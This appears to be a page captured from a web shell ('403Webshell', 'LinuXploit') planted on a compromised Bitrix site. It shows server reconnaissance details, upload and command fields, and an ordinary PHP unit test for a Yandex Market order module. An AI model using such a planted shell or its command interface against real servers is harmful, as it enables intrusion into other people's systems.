403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/tests/unit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.exchange1c/tests/unit/YamarketTest.php
<?php
namespace Wbs24\Exchange1c;

use Bitrix\Main\Loader;

class YamarketTest extends BitrixTestCase
{
    public function test_fixOrderProducts()
    {
        // входные параметры
        $order = json_decode('{"orderId":"2201","xmlId":"YAMARKET_2_464993392_3","status":"A","statusTimestamp":"27.05.2024 10:48:02","canceled":"N","canceledTimestamp":"","createdTimestamp":"27.05.2024 10:45:38","orderSum":4000,"properties":[],"customer":{"name":"Иванов Иван","email":"anonymous@market.yandex.ru","city":"Россия, Москва","address":"Минская улица, 999","customerId":452,"userId":"15710"},"source":"yamarket_marketp_dbs","products":[{"productId":"2926","sku":"НБП2/30","salePrice":"2000.0000","stocks":{"quantity":2},"salePriceSum":4000,"kitElements":[{"productId":"2922","sku":"Р1087","price":"958.0000","stocks":{"quantity":1}},{"productId":"2634","sku":"Р1202","price":"109.0000","stocks":{"quantity":2}},{"productId":"2678","sku":"Р1320","price":"71.0000","stocks":{"quantity":2}},{"productId":"2679","sku":"Р1330","price":"71.0000","stocks":{"quantity":2}},{"productId":"2960","sku":"РК1103","price":"56.0000","stocks":{"quantity":2}},{"productId":"2995","sku":"РС0323","price":"83.0000","stocks":{"quantity":3}},{"productId":"2899","sku":"Р1106","price":"150.0000","stocks":{"quantity":2}},{"productId":"2907","sku":"РС0424","price":"249.0000","stocks":{"quantity":2}},{"productId":"2911","sku":"РС1362","price":"207.0000","stocks":{"quantity":2}},{"productId":"3005","sku":"РС1450","price":"908.0000","stocks":{"quantity":1}},{"productId":"2776","sku":"РС1792","price":"210.0000","stocks":{"quantity":2}}]}]}', true);
        $ymOrderInfo = json_decode('{"order":{"id":464993392,"status":"DELIVERED","substatus":"DELIVERY_SERVICE_DELIVERED","creationDate":"27-05-2024 10:44:42","currency":"RUR","itemsTotal":1,"deliveryTotal":0,"buyerItemsTotal":4000,"buyerTotal":4000,"buyerItemsTotalBeforeDiscount":6106,"buyerTotalBeforeDiscount":6106,"paymentType":"PREPAID","paymentMethod":"SBP","fake":false,"items":[{"id":607204305,"offerId":"2926","offerName":"Набор петард №2 Бабахнем (21 шт + подарок)","price":1,"buyerPrice":1,"buyerPriceBeforeDiscount":3053,"priceBeforeDiscount":3053,"count":2,"vat":"NO_VAT","shopSku":"2926","subsidy":3052,"partnerWarehouseId":"833bd7c8-8ecd-45cd-a0fe-eddae3e3f326","promos":[{"type":"MARKET_PROMOCODE","subsidy":497},{"type":"MARKET_PROMOCODE","subsidy":630}],"subsidies":[{"type":"YANDEX_CASHBACK","amount":1490},{"type":"SUBSIDY","amount":1562}]}],"subsidies":[{"type":"YANDEX_CASHBACK","amount":1490},{"type":"DELIVERY","amount":49},{"type":"SUBSIDY","amount":1562}],"delivery":{"type":"DELIVERY","serviceName":"Курьерская доставка","price":0,"deliveryPartnerType":"SHOP","dates":{"fromDate":"31-05-2024","toDate":"31-05-2024","fromTime":"09:00:00","toTime":"21:00:00","realDeliveryDate":"29-05-2024"},"region":{"id":213,"name":"Москва","type":"CITY","parent":{"id":1,"name":"Москва и Московская область","type":"REPUBLIC","parent":{"id":3,"name":"Центральный федеральный округ","type":"COUNTRY_DISTRICT","parent":{"id":225,"name":"Россия","type":"COUNTRY"}}}},"address":{"country":"Россия","postcode":"119590","city":"Москва","street":"Минская улица","house":"999","entrance":"4","floor":"13","apartment":"61","gps":{"latitude":55.99999,"longitude":37.99999}},"deliveryServiceId":99,"liftPrice":0,"dispatchType":"BUYER","shipments":[{"id":459682494,"shipmentDate":"28-05-2024"}]},"buyer":{"id":"6241770d67cc4f0a8f3491b3c393bdba","lastName":"Иванов","firstName":"Иван","email":"noreply-market@support.yandex.ru","type":"PERSON","phone":"+79999997000"},"taxSystem":"USN_MINUS_COST","cancelRequested":false}}', true);

        // результат для проверки
        $expectedResult = json_decode('{"orderId":"2201","xmlId":"YAMARKET_2_464993392_3","status":"A","statusTimestamp":"27.05.2024 10:48:02","canceled":"N","canceledTimestamp":"","createdTimestamp":"27.05.2024 10:45:38","orderSum":6106,"properties":[],"customer":{"name":"Иванов Иван","email":"anonymous@market.yandex.ru","city":"Россия, Москва","address":"Минская улица, 999","customerId":452,"userId":"15710"},"source":"yamarket_marketp_dbs","products":[{"productId":"2926","sku":"НБП2/30","salePrice":"3053","stocks":{"quantity":2},"salePriceSum":6106,"kitElements":[{"productId":"2922","sku":"Р1087","price":"958.0000","stocks":{"quantity":1}},{"productId":"2634","sku":"Р1202","price":"109.0000","stocks":{"quantity":2}},{"productId":"2678","sku":"Р1320","price":"71.0000","stocks":{"quantity":2}},{"productId":"2679","sku":"Р1330","price":"71.0000","stocks":{"quantity":2}},{"productId":"2960","sku":"РК1103","price":"56.0000","stocks":{"quantity":2}},{"productId":"2995","sku":"РС0323","price":"83.0000","stocks":{"quantity":3}},{"productId":"2899","sku":"Р1106","price":"150.0000","stocks":{"quantity":2}},{"productId":"2907","sku":"РС0424","price":"249.0000","stocks":{"quantity":2}},{"productId":"2911","sku":"РС1362","price":"207.0000","stocks":{"quantity":2}},{"productId":"3005","sku":"РС1450","price":"908.0000","stocks":{"quantity":1}},{"productId":"2776","sku":"РС1792","price":"210.0000","stocks":{"quantity":2}}]}]}', true);

        // заглушки

        // вычисление результата
        $method = $this->getMethod('Wbs24\\Exchange1c\\Yamarket', 'fixOrderProducts');
        $object = new \Wbs24\Exchange1c\Yamarket();
        $result = $method->invokeArgs($object, [$order, $ymOrderInfo]);

        // проверка
        $this->assertEquals($expectedResult, $result);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit